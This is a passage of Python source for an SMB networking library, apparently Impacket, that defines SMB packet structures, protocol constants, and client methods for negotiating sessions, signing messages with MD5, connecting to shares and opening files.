('HighOffset','<L=0'),\n    )\n\nclass SMBReadAndX_Parameters2(SMBAndXCommand_Parameters):\n    structure = (\n        ('Fid','<H'),\n        ('Offset','<L'),\n        ('MaxCount','<H'),\n        ('MinCount','<H=MaxCount'),\n        ('_reserved','<L=0xffffffff'),\n        ('Remaining','<H=MaxCount'),\n    )\n\nclass SMBReadAndXResponse_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Remaining','<H=0'),\n        ('DataMode','<H=0'),\n        ('_reserved','<H=0'),\n        ('DataCount','<H'),\n        ('DataOffset','<H'),\n        ('DataCount_Hi','<L'),\n        ('_reserved2','6s=\"\"'),\n    )\n\n############# SMB_COM_ECHO (0x2B)\nclass SMBEcho_Data(Structure):\n    structure = (\n        ('Data',':'),\n    )\n\nclass SMBEcho_Parameters(Structure):\n    structure = (\n        ('EchoCount','<H'),\n    )\n\nclass SMBEchoResponse_Data(Structure):\n    structure = (\n        ('Data',':'),\n    )\n\nclass SMBEchoResponse_Parameters(Structure):\n    structure = (\n        ('SequenceNumber','<H=1'),\n    )\n\n############# SMB_COM_QUERY_INFORMATION_DISK (0x80)\nclass SMBQueryInformationDiskResponse_Parameters(Structure):\n    structure = (\n        ('TotalUnits','<H'),\n        ('BlocksPerUnit','<H'),\n        ('BlockSize','<H'),\n        ('FreeUnits','<H'),\n        ('Reserved','<H=0'),\n    )\n\n\n############# SMB_COM_LOGOFF_ANDX (0x74)\nclass SMBLogOffAndX(SMBAndXCommand_Parameters):\n    structure = ()\n\n############# SMB_COM_CLOSE (0x04)\nclass SMBClose_Parameters(SMBCommand_Parameters):\n   structure = (\n        ('FID','<H'),\n        ('Time','<L=0'),\n   )\n\n############# SMB_COM_FLUSH (0x05)\nclass SMBFlush_Parameters(SMBCommand_Parameters):\n   structure = (\n        ('FID','<H'),\n   )\n\n############# SMB_COM_CREATE_DIRECTORY (0x00)\nclass SMBCreateDirectory_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('BufferFormat','<B=4'),\n        ('DirectoryName','z'),\n    )\n    UnicodeStructure = (\n        ('BufferFormat','<B=4'),\n        ('DirectoryName','u'),\n    )\n\n############# SMB_COM_DELETE (0x06)\nclass SMBDelete_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('BufferFormat','<B=4'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('BufferFormat','<B=4'),\n        ('FileName','u'),\n    )\n\nclass SMBDelete_Parameters(Structure):\n    structure = (\n        ('SearchAttributes','<H'),\n    )\n\n############# SMB_COM_DELETE_DIRECTORY (0x01)\nclass SMBDeleteDirectory_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('BufferFormat','<B=4'),\n        ('DirectoryName','z'),\n    )\n    UnicodeStructure = (\n        ('BufferFormat','<B=4'),\n        ('DirectoryName','u'),\n    )\n\n############# SMB_COM_CHECK_DIRECTORY (0x10)\nclass SMBCheckDirectory_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('BufferFormat','<B=4'),\n        ('DirectoryName','z'),\n    )\n    UnicodeStructure = (\n        ('BufferFormat','<B=4'),\n        ('DirectoryName','u'),\n    )\n\n############# SMB_COM_RENAME (0x07)\nclass SMBRename_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('SearchAttributes','<H'),\n    )\n\nclass SMBRename_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('BufferFormat1','<B=4'),\n        ('OldFileName','z'),\n        ('BufferFormat2','<B=4'),\n        ('NewFileName','z'),\n    )\n    UnicodeStructure = (\n        ('BufferFormat1','<B=4'),\n        ('OldFileName','u'),\n        ('BufferFormat2','<B=4'),\n        ('Pad','B=0'),\n        ('NewFileName','u'),\n    )\n\n\n############# SMB_COM_OPEN (0x02)\nclass SMBOpen_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('DesiredAccess','<H=0'),\n        ('SearchAttributes','<H=0'),\n    )\n\nclass SMBOpen_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('FileNameFormat','\"\\x04'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileNameFormat','\"\\x04'),\n        ('FileName','u'),\n    )\n\nclass SMBOpenResponse_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('Fid','<H=0'),\n        ('FileAttributes','<H=0'),\n        ('LastWriten','<L=0'),\n        ('FileSize','<L=0'),\n        ('GrantedAccess','<H=0'),\n    )\n\n############# EXTENDED SECURITY CLASSES\nclass SMBExtended_Security_Parameters(Structure):\n    structure = (\n        ('DialectIndex','<H'),\n        ('SecurityMode','<B'),\n        ('MaxMpxCount','<H'),\n        ('MaxNumberVcs','<H'),\n        ('MaxBufferSize','<L'),\n        ('MaxRawSize','<L'),\n        ('SessionKey','<L'),\n        ('Capabilities','<L'),\n        ('LowDateTime','<L'),\n        ('HighDateTime','<L'),\n        ('ServerTimeZone','<H'),\n        ('ChallengeLength','<B'),\n    )\n\nclass SMBExtended_Security_Data(Structure):\n    structure = (\n        ('ServerGUID','16s'),\n        ('SecurityBlob',':'),\n    )\n\nclass SMBNTLMDialect_Parameters(Structure):\n    structure = (\n        ('DialectIndex','<H'),\n        ('SecurityMode','<B'),\n        ('MaxMpxCount','<H'),\n        ('MaxNumberVcs','<H'),\n        ('MaxBufferSize','<L'),\n        ('MaxRawSize','<L'),\n        ('SessionKey','<L'),\n        ('Capabilities','<L'),\n        ('LowDateTime','<L'),\n        ('HighDateTime','<L'),\n        ('ServerTimeZone','<H'),\n        ('ChallengeLength','<B'),\n    )\n\nclass SMBNTLMDialect_Data(Structure):\n    structure = (\n        ('ChallengeLength','_-Challenge','self[\"ChallengeLength\"]'),\n        ('Challenge',':'),\n        ('Payload',':'),\n# For some reason on an old Linux this field is not present, we have to check this out. There must be a flag stating this.\n        ('DomainName','_'),\n        ('ServerName','_'),\n    )\n    def __init__(self,data = None, alignment = 0):\n         Structure.__init__(self,data,alignment)\n         #self['ChallengeLength']=8\n\n    def fromString(self,data):\n        Structure.fromString(self,data)\n        self['DomainName'] = ''\n        self['ServerName'] = ''\n\nclass SMB(object):\n\n    class HostnameValidationException(Exception):\n        pass\n\n    # SMB Command Codes\n    SMB_COM_CREATE_DIRECTORY                = 0x00\n    SMB_COM_DELETE_DIRECTORY                = 0x01\n    SMB_COM_OPEN                            = 0x02\n    SMB_COM_CREATE                          = 0x03\n    SMB_COM_CLOSE                           = 0x04\n    SMB_COM_FLUSH                           = 0x05\n    SMB_COM_DELETE                          = 0x06\n    SMB_COM_RENAME                          = 0x07\n    SMB_COM_QUERY_INFORMATION               = 0x08\n    SMB_COM_SET_INFORMATION                 = 0x09\n    SMB_COM_READ                            = 0x0A\n    SMB_COM_WRITE                           = 0x0B\n    SMB_COM_LOCK_BYTE_RANGE                 = 0x0C\n    SMB_COM_UNLOCK_BYTE_RANGE               = 0x0D\n    SMB_COM_CREATE_TEMPORARY                = 0x0E\n    SMB_COM_CREATE_NEW                      = 0x0F\n    SMB_COM_CHECK_DIRECTORY                 = 0x10\n    SMB_COM_PROCESS_EXIT                    = 0x11\n    SMB_COM_SEEK                            = 0x12\n    SMB_COM_LOCK_AND_READ                   = 0x13\n    SMB_COM_WRITE_AND_UNLOCK                = 0x14\n    SMB_COM_READ_RAW                        = 0x1A\n    SMB_COM_READ_MPX                        = 0x1B\n    SMB_COM_READ_MPX_SECONDARY              = 0x1C\n    SMB_COM_WRITE_RAW                       = 0x1D\n    SMB_COM_WRITE_MPX                       = 0x1E\n    SMB_COM_WRITE_MPX_SECONDARY             = 0x1F\n    SMB_COM_WRITE_COMPLETE                  = 0x20\n    SMB_COM_QUERY_SERVER                    = 0x21\n    SMB_COM_SET_INFORMATION2                = 0x22\n    SMB_COM_QUERY_INFORMATION2              = 0x23\n    SMB_COM_LOCKING_ANDX                    = 0x24\n    SMB_COM_TRANSACTION                     = 0x25\n    SMB_COM_TRANSACTION_SECONDARY           = 0x26\n    SMB_COM_IOCTL                           = 0x27\n    SMB_COM_IOCTL_SECONDARY                 = 0x28\n    SMB_COM_COPY                            = 0x29\n    SMB_COM_MOVE                            = 0x2A\n    SMB_COM_ECHO                            = 0x2B\n    SMB_COM_WRITE_AND_CLOSE                 = 0x2C\n    SMB_COM_OPEN_ANDX                       = 0x2D\n    SMB_COM_READ_ANDX                       = 0x2E\n    SMB_COM_WRITE_ANDX                      = 0x2F\n    SMB_COM_NEW_FILE_SIZE                   = 0x30\n    SMB_COM_CLOSE_AND_TREE_DISC             = 0x31\n    SMB_COM_TRANSACTION2                    = 0x32\n    SMB_COM_TRANSACTION2_SECONDARY          = 0x33\n    SMB_COM_FIND_CLOSE2                     = 0x34\n    SMB_COM_FIND_NOTIFY_CLOSE               = 0x35\n    # Used by Xenix/Unix 0x60 - 0x6E\n    SMB_COM_TREE_CONNECT                    = 0x70\n    SMB_COM_TREE_DISCONNECT                 = 0x71\n    SMB_COM_NEGOTIATE                       = 0x72\n    SMB_COM_SESSION_SETUP_ANDX              = 0x73\n    SMB_COM_LOGOFF_ANDX                     = 0x74\n    SMB_COM_TREE_CONNECT_ANDX               = 0x75\n    SMB_COM_QUERY_INFORMATION_DISK          = 0x80\n    SMB_COM_SEARCH                          = 0x81\n    SMB_COM_FIND                            = 0x82\n    SMB_COM_FIND_UNIQUE                     = 0x83\n    SMB_COM_FIND_CLOSE                      = 0x84\n    SMB_COM_NT_TRANSACT                     = 0xA0\n    SMB_COM_NT_TRANSACT_SECONDARY           = 0xA1\n    SMB_COM_NT_CREATE_ANDX                  = 0xA2\n    SMB_COM_NT_CANCEL                       = 0xA4\n    SMB_COM_NT_RENAME                       = 0xA5\n    SMB_COM_OPEN_PRINT_FILE                 = 0xC0\n    SMB_COM_WRITE_PRINT_FILE                = 0xC1\n    SMB_COM_CLOSE_PRINT_FILE                = 0xC2\n    SMB_COM_GET_PRINT_QUEUE                 = 0xC3\n    SMB_COM_READ_BULK                       = 0xD8\n    SMB_COM_WRITE_BULK                      = 0xD9\n    SMB_COM_WRITE_BULK_DATA                 = 0xDA\n\n    # TRANSACT codes\n    TRANS_TRANSACT_NMPIPE                   = 0x26\n\n    # TRANSACT2 codes\n    TRANS2_FIND_FIRST2                      = 0x0001\n    TRANS2_FIND_NEXT2                       = 0x0002\n    TRANS2_QUERY_FS_INFORMATION             = 0x0003\n    TRANS2_QUERY_PATH_INFORMATION           = 0x0005\n    TRANS2_QUERY_FILE_INFORMATION           = 0x0007\n    TRANS2_SET_FILE_INFORMATION             = 0x0008\n    TRANS2_SET_PATH_INFORMATION             = 0x0006\n\n    # Security Share Mode (Used internally by SMB class)\n    SECURITY_SHARE_MASK                     = 0x01\n    SECURITY_SHARE_SHARE                    = 0x00\n    SECURITY_SHARE_USER                     = 0x01\n    SECURITY_SIGNATURES_ENABLED             = 0X04\n    SECURITY_SIGNATURES_REQUIRED            = 0X08\n\n    # Security Auth Mode (Used internally by SMB class)\n    SECURITY_AUTH_MASK                      = 0x02\n    SECURITY_AUTH_ENCRYPTED                 = 0x02\n    SECURITY_AUTH_PLAINTEXT                 = 0x00\n\n    # Raw Mode Mask (Used internally by SMB class. Good for dialect up to and including LANMAN2.1)\n    RAW_READ_MASK                           = 0x01\n    RAW_WRITE_MASK                          = 0x02\n\n    # Capabilities Mask (Used internally by SMB class. Good for dialect NT LM 0.12)\n    CAP_RAW_MODE                            = 0x00000001\n    CAP_MPX_MODE                            = 0x0002\n    CAP_UNICODE                             = 0x0004\n    CAP_LARGE_FILES                         = 0x0008\n    CAP_EXTENDED_SECURITY                   = 0x80000000\n    CAP_USE_NT_ERRORS                       = 0x40\n    CAP_NT_SMBS                             = 0x10\n    CAP_LARGE_READX                         = 0x00004000\n    CAP_LARGE_WRITEX                        = 0x00008000\n    CAP_RPC_REMOTE_APIS                     = 0x20\n\n    # Flags1 Mask\n    FLAGS1_LOCK_AND_READ_OK                 = 0x01\n    FLAGS1_PATHCASELESS                     = 0x08\n    FLAGS1_CANONICALIZED_PATHS              = 0x10\n    FLAGS1_REPLY                            = 0x80\n\n    # Flags2 Mask\n    FLAGS2_LONG_NAMES                       = 0x0001\n    FLAGS2_EAS                              = 0x0002\n    FLAGS2_SMB_SECURITY_SIGNATURE           = 0x0004\n    FLAGS2_IS_LONG_NAME                     = 0x0040\n    FLAGS2_DFS                              = 0x1000\n    FLAGS2_PAGING_IO                        = 0x2000\n    FLAGS2_NT_STATUS                        = 0x4000\n    FLAGS2_UNICODE                          = 0x8000\n    FLAGS2_COMPRESSED                       = 0x0008\n    FLAGS2_SMB_SECURITY_SIGNATURE_REQUIRED  = 0x0010\n    FLAGS2_EXTENDED_SECURITY                = 0x0800\n\n    # Dialect's Security Mode flags\n    NEGOTIATE_USER_SECURITY                 = 0x01\n    NEGOTIATE_ENCRYPT_PASSWORDS             = 0x02\n    NEGOTIATE_SECURITY_SIGNATURE_ENABLE     = 0x04\n    NEGOTIATE_SECURITY_SIGNATURE_REQUIRED   = 0x08\n\n    # Tree Connect AndX Response optionalSuppor flags\n    SMB_SUPPORT_SEARCH_BITS                 = 0x01\n    SMB_SHARE_IS_IN_DFS                     = 0x02\n\n    def __init__(self, remote_name, remote_host, my_name=None, host_type=nmb.TYPE_SERVER, sess_port=445, timeout=None,\n                 UDP=0, session=None, negPacket=None):\n        # The uid attribute will be set when the client calls the login() method\n        self._uid = 0\n        self.__server_name = ''\n        self.__client_name = ''\n        self.__server_os = ''\n        self.__server_os_major = None\n        self.__server_os_minor = None\n        self.__server_os_build = None\n        self.__server_lanman = ''\n        self.__server_domain = ''\n        self.__server_dns_domain_name = ''\n        self.__server_dns_host_name = ''\n        self.__remote_name = remote_name.upper()\n        self.__remote_host = remote_host\n        self.__isNTLMv2 = True\n        self._dialects_parameters = None\n        self._dialects_data = None\n        self._doKerberos = False\n\n        # Credentials\n        self.__userName = b''\n        self.__password = b''\n        self.__domain   = b''\n        self.__lmhash   = b''\n        self.__nthash   = b''\n        self.__aesKey   = b''\n        self.__kdc      = b''\n        self.__TGT      = None\n        self.__TGS      = None\n\n        # Negotiate Protocol Result, used everywhere\n        # Could be extended or not, flags should be checked before\n        self._dialect_data = 0\n        self._dialect_parameters = 0\n        self._action = 0\n        self._sess = None\n        self.encrypt_passwords = True\n        self.tid = 0\n        self.fid = 0\n\n        # Strict host validation - off by default\n        self._strict_hostname_validation = False\n        self._validation_allow_absent = True\n        self._accepted_hostname = ''\n\n        # Signing stuff\n        self._SignSequenceNumber = 0\n        self._SigningSessionKey = b''\n        self._SigningChallengeResponse = b''\n        self._SignatureEnabled = False\n        self._SignatureVerificationEnabled = False\n        self._SignatureRequired = False\n\n        # Base flags (default flags, can be overridden using set_flags())\n        self.__flags1 = SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS\n        self.__flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES\n\n        if timeout is None:\n            self.__timeout = 60\n        else:\n            self.__timeout = timeout\n\n        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP.\n        # This is to help some old applications still believing\n        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better\n        # know about *SMBSERVER's limitations\n        if sess_port == 445 and remote_name == '*SMBSERVER':\n           self.__remote_name = remote_host\n\n        # This is on purpose. I'm still not convinced to do a socket.gethostname() if not specified\n        if my_name is None:\n            self.__client_name = b''\n        else:\n            self.__client_name = my_name\n\n        if session is None:\n            if not my_name:\n                # If destination port is 139 yes, there's some client disclosure\n                my_name = socket.gethostname()\n                i = my_name.find('.')\n                if i > -1:\n                    my_name = my_name[:i]\n\n            if UDP:\n                self._sess = nmb.NetBIOSUDPSession(my_name, remote_name, remote_host, host_type, sess_port, self.__timeout)\n            else:\n                self._sess = nmb.NetBIOSTCPSession(my_name, remote_name, remote_host, host_type, sess_port, self.__timeout)\n\n                # Initialize session values (_dialect_data and _dialect_parameters)\n                self.neg_session()\n\n                # Call login() without any authentication information to\n                # setup a session if the remote server\n                # is in share mode.\n                if (self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SHARE_MASK) == SMB.SECURITY_SHARE_SHARE:\n                    self.login('', '')\n        else:\n            self._sess = session\n            self.neg_session(negPacket = negPacket)\n            # Call login() without any authentication information to\n            # setup a session if the remote server\n            # is in share mode.\n            if (self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SHARE_MASK) == SMB.SECURITY_SHARE_SHARE:\n                self.login('', '')\n\n    @staticmethod\n    def ntlm_supported():\n        return False\n\n    def getKerberos(self):\n        return self._doKerberos\n\n    def get_remote_name(self):\n        return self.__remote_name\n\n    def set_remote_name(self, name):\n        self.__remote_name = name\n        return True\n\n    def set_hostname_validation(self, validate, accept_empty, hostname):\n        self._strict_hostname_validation = validate\n        self._validation_allow_absent = accept_empty\n        self._accepted_hostname = hostname\n\n    def get_remote_host(self):\n        return self.__remote_host\n\n    def get_flags(self):\n        return self.__flags1, self.__flags2\n\n    def set_flags(self, flags1=None, flags2=None):\n        if flags1 is not None:\n           self.__flags1 = flags1\n        if flags2 is not None:\n           self.__flags2 = flags2\n\n    def set_timeout(self, timeout):\n        prev_timeout = self.__timeout\n        self.__timeout = timeout\n        return prev_timeout\n\n    def get_timeout(self):\n        return self.__timeout\n\n    @contextmanager\n    def use_timeout(self, timeout):\n        prev_timeout = self.set_timeout(timeout)\n        try:\n            yield\n        finally:\n            self.set_timeout(prev_timeout)\n\n    def get_session(self):\n        return self._sess\n\n    def get_tid(self):\n        return self.tid\n\n    def get_fid(self):\n        return self.fid\n\n    def isGuestSession(self):\n        return self._action & SMB_SETUP_GUEST\n\n    def doesSupportNTLMv2(self):\n        return self.__isNTLMv2\n\n    def close_session(self):\n        if self._sess:\n            self._sess.close()\n            self._sess = None\n\n    def recvSMB(self):\n        r = self._sess.recv_packet(self.__timeout)\n        return NewSMBPacket(data = r.get_trailer())\n\n    @staticmethod\n    def __decode_trans(params, data):\n        totparamcnt, totdatacnt, _, paramcnt, paramoffset, paramds, datacnt, dataoffset, datads, setupcnt = unpack('<HHHHHHHHHB', params[:19])\n        if paramcnt + paramds < totparamcnt or datacnt + datads < totdatacnt:\n            has_more = 1\n        else:\n            has_more = 0\n        paramoffset = paramoffset - 55 - setupcnt * 2\n        dataoffset = dataoffset - 55 - setupcnt * 2\n        return has_more, params[20:20 + setupcnt * 2], data[paramoffset:paramoffset + paramcnt], data[dataoffset:dataoffset + datacnt]\n\n    # TODO: Move this to NewSMBPacket, it belongs there\n    def signSMB(self, packet, signingSessionKey, signingChallengeResponse):\n        # This logic MUST be applied for messages sent in response to any of the higher-layer actions and in\n        # compliance with the message sequencing rules.\n        #  * The client or server that sends the message MUST provide the 32-bit sequence number for this\n        #    message, as specified in sections 3.2.4.1 and 3.3.4.1.\n        #  * The SMB_FLAGS2_SMB_SECURITY_SIGNATURE flag in the header MUST be set.\n        #  * To generate the signature, a 32-bit sequence number is copied into the\n        #    least significant 32 bits of the SecuritySignature field and the remaining\n        #    4 bytes are set to 0x00.\n        #  * The MD5 algorithm, as specified in [RFC1321], MUST be used to generate a hash of the SMB\n        #    message from the start of the SMB Header, which is defined as follows.\n        #    CALL MD5Init( md5context )\n        #    CALL MD5Update( md5context, Connection.SigningSessionKey )\n        #    CALL MD5Update( md5context, Connection.SigningChallengeResponse )\n        #    CALL MD5Update( md5context, SMB message )\n        #    CALL MD5Final( digest, md5context )\n        #    SET signature TO the first 8 bytes of the digest\n        # The resulting 8-byte signature MUST be copied into the SecuritySignature field of the SMB Header,\n        # after which the message can be transmitted.\n\n        #print \"seq(%d) signingSessionKey %r, signingChallengeResponse %r\" % (self._SignSequenceNumber, signingSessionKey, signingChallengeResponse)\n        packet['SecurityFeatures'] = pack('<q',self._SignSequenceNumber)\n        # Sign with the sequence\n        m = hashlib.md5()\n        m.update( signingSessionKey )\n        m.update( signingChallengeResponse )\n        m.update( packet.getData() )\n        # Replace sequence with acual hash\n        packet['SecurityFeatures'] = m.digest()[:8]\n        if self._SignatureVerificationEnabled:\n           self._SignSequenceNumber +=1\n        else:\n           self._SignSequenceNumber +=2\n\n    def checkSignSMB(self, packet, signingSessionKey, signingChallengeResponse):\n        # Let's check\n        signature = packet['SecurityFeatures']\n        #print \"Signature received: %r \" % signature\n        self.signSMB(packet, signingSessionKey, signingChallengeResponse)\n        #print \"Signature calculated: %r\" % packet['SecurityFeatures']\n        if self._SignatureVerificationEnabled is not True:\n           self._SignSequenceNumber -= 1\n        return packet['SecurityFeatures'] == signature\n\n    def sendSMB(self,smb):\n        smb['Uid'] = self._uid\n        #At least on AIX, PIDs can exceed 16 bits, so we mask them out\n        smb['Pid'] = (os.getpid() & 0xFFFF)\n        # set flags\n        smb['Flags1'] |= self.__flags1\n        smb['Flags2'] |= self.__flags2\n        if self._SignatureEnabled:\n            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE\n            self.signSMB(smb, self._SigningSessionKey, self._SigningChallengeResponse)\n\n        self._sess.send_packet(smb.getData())\n\n    @staticmethod\n    def isValidAnswer(s, cmd):\n        while 1:\n            if s.rawData():\n                if s.get_command() == cmd:\n                    if s.get_error_class() == 0x00 and s.get_error_code() == 0x00:\n                        return 1\n                    else:\n                        raise SessionError( \"SMB Library Error\", s.get_error_class()+ (s.get_reserved() << 8), s.get_error_code() , s.get_flags2() & SMB.FLAGS2_NT_STATUS)\n                else:\n                    break\n        return 0\n\n    def neg_session(self, extended_security = True, negPacket = None):\n        def parsePacket(smb):\n            # If server speaks Unicode, let's set that flag from now on\n            if smb['Flags2'] & SMB.FLAGS2_UNICODE:\n                self.__flags2 |= SMB.FLAGS2_UNICODE\n\n            if smb.isValidAnswer(SMB.SMB_COM_NEGOTIATE):\n                sessionResponse = SMBCommand(smb['Data'][0])\n                self._dialects_parameters = SMBNTLMDialect_Parameters(sessionResponse['Parameters'])\n                self._dialects_data = SMBNTLMDialect_Data()\n                self._dialects_data['ChallengeLength'] = self._dialects_parameters['ChallengeLength']\n                self._dialects_data.fromString(sessionResponse['Data'])\n                if self._dialects_parameters['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:\n                    # Whether we choose it or it is enforced by the server, we go for extended security\n                    self._dialects_parameters = SMBExtended_Security_Parameters(sessionResponse['Parameters'])\n                    self._dialects_data = SMBExtended_Security_Data(sessionResponse['Data'])\n                    # Let's setup some variable for later use\n                    if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED:\n                         self._SignatureRequired = True\n\n                    # Interestingly, the security Blob might be missing sometimes.\n                    #spnego = SPNEGO_NegTokenInit(self._dialects_data['SecurityBlob'])\n                    #for i in spnego['MechTypes']:\n                    #      print \"Mech Found: %s\" % MechTypes[i]\n                    return 1\n\n                # If not, let's try the old way\n                else:\n                    if self._dialects_data['ServerName'] is not None:\n                        self.__server_name = self._dialects_data['ServerName']\n\n                    if self._dialects_parameters['DialectIndex'] == 0xffff:\n                        raise UnsupportedFeature(\"Remote server does not know NT LM 0.12\")\n                    return 1\n            else:\n                return 0\n\n        if negPacket is None:\n            smb = NewSMBPacket()\n            negSession = SMBCommand(SMB.SMB_COM_NEGOTIATE)\n            flags2 = self.get_flags()[1]\n            if extended_security is True:\n                self.set_flags(flags2=flags2|SMB.FLAGS2_EXTENDED_SECURITY)\n            else:\n                self.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))\n\n            negSession['Data'] = b'\\x02NT LM 0.12\\x00'\n            smb.addCommand(negSession)\n            self.sendSMB(smb)\n\n            while 1:\n                smb = self.recvSMB()\n                return parsePacket(smb)\n        else:\n\n            return parsePacket( NewSMBPacket( data = negPacket))\n\n    def tree_connect(self, path, password = '', service = SERVICE_ANY):\n        LOG.warning(\"[MS-CIFS] This is an original Core Protocol command.This command has been deprecated.Client Implementations SHOULD use SMB_COM_TREE_CONNECT_ANDX\")\n\n        # return 0x800\n        if password:\n            # Password is only encrypted if the server passed us an \"encryption\" during protocol dialect\n            if self._dialects_parameters['ChallengeLength'] > 0:\n                # this code is untested\n                password = self.get_ntlmv1_response(ntlm.compute_lmhash(password))\n\n        if not unicode_support:\n            if unicode_convert:\n                path = str(path)\n            else:\n                raise Exception('SMB: Can\\t conver path from unicode!')\n\n        smb = NewSMBPacket()\n        treeConnect = SMBCommand(SMB.SMB_COM_TREE_CONNECT)\n        treeConnect['Parameters'] = SMBTreeConnect_Parameters()\n        treeConnect['Data']       = SMBTreeConnect_Data()\n        treeConnect['Data']['Path'] = path.upper()\n        treeConnect['Data']['Password'] = password\n        treeConnect['Data']['Service'] = service\n        smb.addCommand(treeConnect)\n        self.sendSMB(smb)\n\n        while 1:\n            smb = self.recvSMB()\n            if smb.isValidAnswer(SMB.SMB_COM_TREE_CONNECT):\n                # XXX Here we are ignoring the rest of the response\n                return smb['Tid']\n            return smb['Tid']\n\n    def get_uid(self):\n        return self._uid\n\n    def set_uid(self, uid):\n        self._uid = uid\n\n    def tree_connect_andx(self, path, password = None, service = SERVICE_ANY, smb_packet=None):\n        if password:\n            # Password is only encrypted if the server passed us an \"encryption\" during protocol dialect\n            if self._dialects_parameters['ChallengeLength'] > 0:\n                # this code is untested\n                password = self.get_ntlmv1_response(ntlm.compute_lmhash(password))\n        else:\n            password = '\\x00'\n\n        if not unicode_support:\n            if unicode_convert:\n                path = str(path)\n            else:\n                raise Exception('SMB: Can\\t convert path from unicode!')\n\n        if smb_packet is None:\n            smb = NewSMBPacket()\n        else:\n            smb = smb_packet\n\n        # Just in case this came with the full path ,let's just leave\n        # the sharename, we'll take care of the rest\n\n        share = path.split('\\\\')[-1]\n        try:\n            _, _, _, _, sockaddr = socket.getaddrinfo(self.get_remote_host(), 80, 0, 0, socket.IPPROTO_TCP)[0]\n            remote_host = sockaddr[0]\n        except Exception:\n            remote_host =  self.get_remote_host()\n\n        path = '\\\\\\\\' + remote_host + '\\\\' +share\n        path = path.upper().encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path\n\n        treeConnect = SMBCommand(SMB.SMB_COM_TREE_CONNECT_ANDX)\n        treeConnect['Parameters'] = SMBTreeConnectAndX_Parameters()\n        treeConnect['Data']       = SMBTreeConnectAndX_Data(flags=self.__flags2)\n        treeConnect['Parameters']['PasswordLength'] = len(password)\n        treeConnect['Data']['Password'] = password\n        treeConnect['Data']['Path'] = path\n        treeConnect['Data']['Service'] = service\n\n        if self.__flags2 & SMB.FLAGS2_UNICODE:\n            treeConnect['Data']['Pad'] = 0x0\n\n        smb.addCommand(treeConnect)\n\n        # filename = \"\\PIPE\\epmapper\"\n\n        # ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)\n        # ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()\n        # ntCreate['Data']       = SMBNtCreateAndX_Data()\n        # ntCreate['Parameters']['FileNameLength'] = len(filename)\n        # ntCreate['Parameters']['CreateFlags'] = 0\n        # ntCreate['Parameters']['AccessMask'] = 0x3\n        # ntCreate['Parameters']['CreateOptions'] = 0x0\n        # ntCreate['Data']['FileName'] = filename\n\n        # smb.addCommand(ntCreate)\n        self.sendSMB(smb)\n\n        while 1:\n            smb = self.recvSMB()\n            if smb.isValidAnswer(SMB.SMB_COM_TREE_CONNECT_ANDX):\n                # XXX Here we are ignoring the rest of the response\n                self.tid = smb['Tid']\n                return self.tid\n            self.tid = smb['Tid']\n            return self.tid\n\n    # backwars compatibility\n    connect_tree = tree_connect_andx\n\n    @staticmethod\n    def getDialect():\n        return SMB_DIALECT\n\n    def get_server_name(self):\n        #return self._dialects_data['ServerName']\n        return self.__server_name\n\n    def get_client_name(self):\n        return self.__client_name\n\n    def get_session_key(self):\n        return self._SigningSessionKey\n\n    def set_session_key(self, key):\n        self._SignatureEnabled = True\n        self._SignSequenceNumber = 2\n        self._SigningSessionKey = key\n\n    def get_encryption_key(self):\n        if 'Challenge' in self._dialects_data.fields:\n            return self._dialects_data['Challenge']\n        else:\n            return None\n\n    def get_server_time(self):\n        timestamp = self._dialects_parameters['HighDateTime']\n        timestamp <<= 32\n        timestamp |= self._dialects_parameters['LowDateTime']\n        timestamp -= 116444736000000000\n        timestamp //= 10000000\n        d = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc)\n        return d.strftime(\"%a, %d %b %Y %H:%M:%S GMT\")\n\n    def disconnect_tree(self, tid):\n        smb = NewSMBPacket()\n        smb['Tid']  = tid\n\n        smb.addCommand(SMBCommand(SMB.SMB_COM_TREE_DISCONNECT))\n\n        self.sendSMB(smb)\n        self.recvSMB()\n\n    def open(self, tid, filename, open_mode, desired_access):\n        filename = filename.replace('/', '\\\\')\n        filename = filename.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else filename\n\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        openFile = SMBCommand(SMB.SMB_COM_OPEN)\n        openFile['Parameters'] = SMBOpen_Parameters()\n        openFile['Parameters']['DesiredAccess']    = desired_access\n        openFile['Parameters']['OpenMode']         = open_mode\n        openFile['Parameters']['SearchAttributes'] = ATTR_READONLY | ATTR_HIDDEN | ATTR_ARCHIVE\n        openFile['Data']       = SMBOpen_Data(flags=self.__flags2)\n        openFile['Data']['FileName'] = filename\n\n        smb.addCommand(openFile)\n\n        self.sendSMB(smb)\n\n        smb = self.recvSMB()\n        if smb.isValidAnswer(SMB.SMB_COM_OPEN):\n            # XXX Here we are ignoring the rest of the response\n            openFileResponse   = SMBCommand(smb['Data'][0])\n            openFileParameters = SMBOpenResponse_Parameters(openFileResponse['Parameters'])\n\n            return (\n                openFileParameters['Fid'],\n                openFileParameters['FileAttributes'],\n                